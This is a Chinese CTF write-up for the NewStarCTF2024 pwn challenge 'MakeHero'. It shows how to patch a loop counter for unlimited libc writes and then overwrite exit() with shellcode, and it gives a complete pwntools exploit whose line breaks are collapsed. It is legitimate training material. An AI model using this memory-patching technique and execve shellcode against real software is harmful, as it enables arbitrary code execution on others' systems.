当前位置: 首页 > news >正文

NewStarCTF2024 Week4 Pwn MakeHero

主要是exp的写法

先checksec一下:

image

啥都开了

然后pwndbg里面运行一下,发现给了两个地址范围,动调一下发现第一个范围是代码段的内存地址,第二个范围是libc加载的内存地址(我本地左端点是libc_base+0x28000)

拖到ida里面整理一下:

image

相当于是给了两次机会,第一次机会可以修改一个代码段里面的一个字节,第二次机会可以修改加载到内存中的libc一个字节

仅凭这两次操作我们没办法直接getshell,我们考虑能不能创造出更多修改的机会,注意到终止条件的写法:

image

每次chance--,当chance为0时终止,如果我们第一次修改代码段,将--改为++,后面chance会恒大于1,那么我们就可以不限次数地任意修改libc段了

具体地,我们将8D 50 FF改为8D 50 01即可

然后我们考虑把exit函数的内容覆写为shellcode,因为最后退出的时候一定会调用exit函数:

屏幕截图 2025-11-24 201206

在ida中可以看exit函数的偏移和内容:

屏幕截图 2025-11-24 201304

我们从exit起始地址+4的位置开始覆写就好。

下面是exp的实现

from pwn import *
p = process('./pwn')
libc = ELF('./libc.so.6')
def write_mem(addr,data):val = dataif isinstance(data,bytes):val = u8(data)p.sendlineafter(b'\x89\xef\xbc\x81',hex(addr)+' '+hex(val))
def write_code(addr,data):for i in range(len(data)):write_mem(addr+i,data[i])
def Exploit():p.recvuntil(b'** ')code_base = int(p.recvuntil(b' -',drop=1),16)p.recvuntil(b'## ')libc_base = int(p.recvuntil(b' -',drop=1),16)p.sendline(b'Regules')write_mem(code_base+0x1877,0x1)print(hex(libc_base))shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"write_code(libc_base-0x28000+libc.sym.exit+4,shellcode)print(hex(libc_base+libc.sym.exit+4))gdb.attach(p)p.interactive()p.recvuntil(b'\x89\xef\xbc\x81')p.sendline(b'bye!')p.interactive()
if __name__ == '__main__':Exploit()

上面是过本地的exp,远程没过。

对比一下发现是libc_base的区别,远程的libc_base就是程序给的那个左端点,问了问deepseek,推测大概率是ld文件版本和远程不太一样导致的,我选.ld文件版本要比.so文件的版本稍微高一点,这可能造成了加载libc到内存中的差异。所以以后ld文件最好还是找完全一样的版本比较好。

因为上面这个问题卡了挺久,实际上如果你远程手玩一遍,本地手玩一遍,很容易发现两者存在差异,所以以后遇到涉及获取内存信息的题目,本地和远程都拿出来看看对比对比,是比较稳妥的。

http://www.jsqmd.com/news/49669/

相关文章:

  • 噬菌体筛选:纳米抗体阳性克隆富集的核心实验技术
  • 2025年11月GEO优化公司推荐热度榜:基于十大性能指标的结果承诺保障方案
  • 2025年11月GEO服务商推荐选择指南:专业分析维度助力企业的精准决策
  • SQL-leetcode—3475. DNA 模式识别 - 详解
  • 「张张讲AI」AI资讯公众号:联动深圳人才集团,讲师输出资讯+授课,助力AI落地
  • 使用frp实现内网穿透
  • 2025年11月GEO优化公司推荐权威榜单:十大品牌核心价值与解决方案解析
  • 2025年11月GEO公司推荐选择指南:专业分析维度助力企业精准决策
  • 2025年11月GEO服务商推荐评测报告:从稳定性到AI能力解决方案剖析
  • 2025年11月GEO优化服务商推荐评测报告:从技术实力到实战成果的解决方案剖析
  • macOS怎么关闭指定软件的开机自启
  • WPF的四种曲线绘制
  • 2025年11月北京陪诊公司推荐榜:专业机构服务对比与选择指南
  • 2025年11月北京陪诊公司推荐榜:专业服务对比与用户口碑分析
  • 2025.11.24 - A
  • Codeforces 1473E Minimum Path 题解 [ 蓝 ] [ 分层图最短路 ] [ 贪心 ] [ 构造 ]
  • AI医疗应用研究项目获奖公布
  • 11.24每日总结
  • 别让你的SQL跑了一整晚,最后只产出一堆数字垃圾
  • 二分图边着色学习笔记
  • 2025年11月四川软电线/硬芯线/家装电线/铝合金电缆/铝芯电缆/铜芯/高压/中压/低压电线电缆供应厂家综合推荐指南:五大优质厂商深度解析
  • Windwos11终端的作用
  • 2025龙门多片锯厂家有哪些?
  • 2025防爆空调品牌厂家推荐:守护危险环境的安全温控选择
  • 2025空调噪声治理厂家精选
  • 2025精选起重机厂家推荐
  • 2025.11.24模拟赛
  • 热流道厂家品牌有哪些?2025热流道技术哪家强?
  • 2025安全生产目视化管理公司有哪些:优质目视化管理机构推荐
  • 2025热流道厂家选哪家好?热流道厂家排名实力榜单